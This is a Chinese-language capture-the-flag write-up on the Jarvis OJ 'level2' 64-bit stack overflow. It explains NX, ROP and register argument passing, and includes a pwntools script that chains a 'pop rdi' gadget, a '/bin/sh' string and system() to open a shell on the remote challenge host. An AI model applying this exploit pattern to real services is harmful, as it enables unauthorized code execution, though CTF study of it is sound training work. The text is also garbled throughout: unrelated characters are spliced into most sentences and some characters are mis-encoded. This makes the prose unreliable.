思路WP
提示:網(wǎng)上有不少當作32位寫的WP区丑,都出現(xiàn)了問題牵现,無法成功cat flag,只有運用ROP的才能成功灶搜。
該題會用到gdb中的checksec祟蚀,可以通過pip install gdb下載。checksec的主要作用是檢查elf文件的保護機制割卖。
-
通過checksec后發(fā)現(xiàn)開啟了NX前酿,因此需要學(xué)習(xí)ROP。
level2 NX.png
NX:NX即No-eXecute(不可執(zhí)行)的意思鹏溯,NX(DEP)的基本原理是將數(shù)據(jù)所在內(nèi)存頁標識為不可執(zhí)行罢维,當程序溢出成功轉(zhuǎn)入shellcode時,程序會嘗試在數(shù)據(jù)頁面上執(zhí)行指令丙挽,此時CPU就會拋出異常肺孵,而不是去執(zhí)行惡意指令。繞過的最主流的方法就死ROP(return-orient-program).
-
打開ida后,同樣由main函數(shù)開始颜阐,到vulner_function函數(shù)發(fā)現(xiàn)棧溢出平窘,雖然發(fā)現(xiàn)有system函數(shù)凳怨,但system函數(shù)中不存在“/bin/sh”的命令初婆。同時也因為NX打開了猿棉,因此我們要使用ROP。
system.png
ROP的全稱為Return-oriented programming(返回導(dǎo)向編程)
-
可以得到函數(shù)將rdi出棧并且存入第一個寄存器rdi的時候弊琴,同時通過ROPgadget的搜索功能,找到程序在data部分有“/bin/sh”的命令,因此我們造一個偽棧幀杖爽,但同時我們需要找到寄存器rdi的地址(0x4006b3)并向其寫入?yún)?shù)敲董。
/bin/sh
為什么我們需要rdi呢?
首先我們必須先知道32位溢出與64位溢出的區(qū)別
在32位程序運行中慰安,函數(shù)參數(shù)直接壓入棧中
調(diào)用函數(shù)時棧的結(jié)構(gòu)為:調(diào)用函數(shù)地址->函數(shù)的返回地址->參數(shù)n->參數(shù)n-1->···->參數(shù)1
在64位程序運行中腋寨,參數(shù)傳遞需要寄存器
64位參數(shù)傳遞約定:前六個參數(shù)按順序存儲在寄存器rdi, rsi, rdx, rcx, r8, r9 中,參數(shù)超過六個時,從第七個開始壓入棧中
- 因此我們想要覆蓋原先的地址化焕,并使他指向“/bin/sh”的時候萄窜,我們要得到程序?qū)di存到ret時的地址,從而將函數(shù)參數(shù)存入寄存器,既“/bin/sh”的地址查刻,最后再加上system的地址键兜,這樣就構(gòu)成了一個偽棧幀,達到了我們調(diào)用system和“/bin/sh”的目的穗泵。
代碼
#!usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2")
sys_addr = elf.symbols["system"]
bin_addr = 0x600A90 #利用ROPgadget獲得
rdi_ret = 0x4006B3
payload = ''
payload += 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(bin_addr)
payload += p64(sys_addr)
io.recvline()
io.sendline(payload)
io.interactive()
io.close()
解釋
ELF是一種用于二進制文件普气、可執(zhí)行文件、目標代碼佃延、共享庫和核心轉(zhuǎn)儲格式文件现诀,即我們下載
得到的文件(在這里我重命名了)
elf.symbols[]可以得到框號中字符作為函數(shù)名在本程序中的地址。
sendline()是傳輸一行履肃。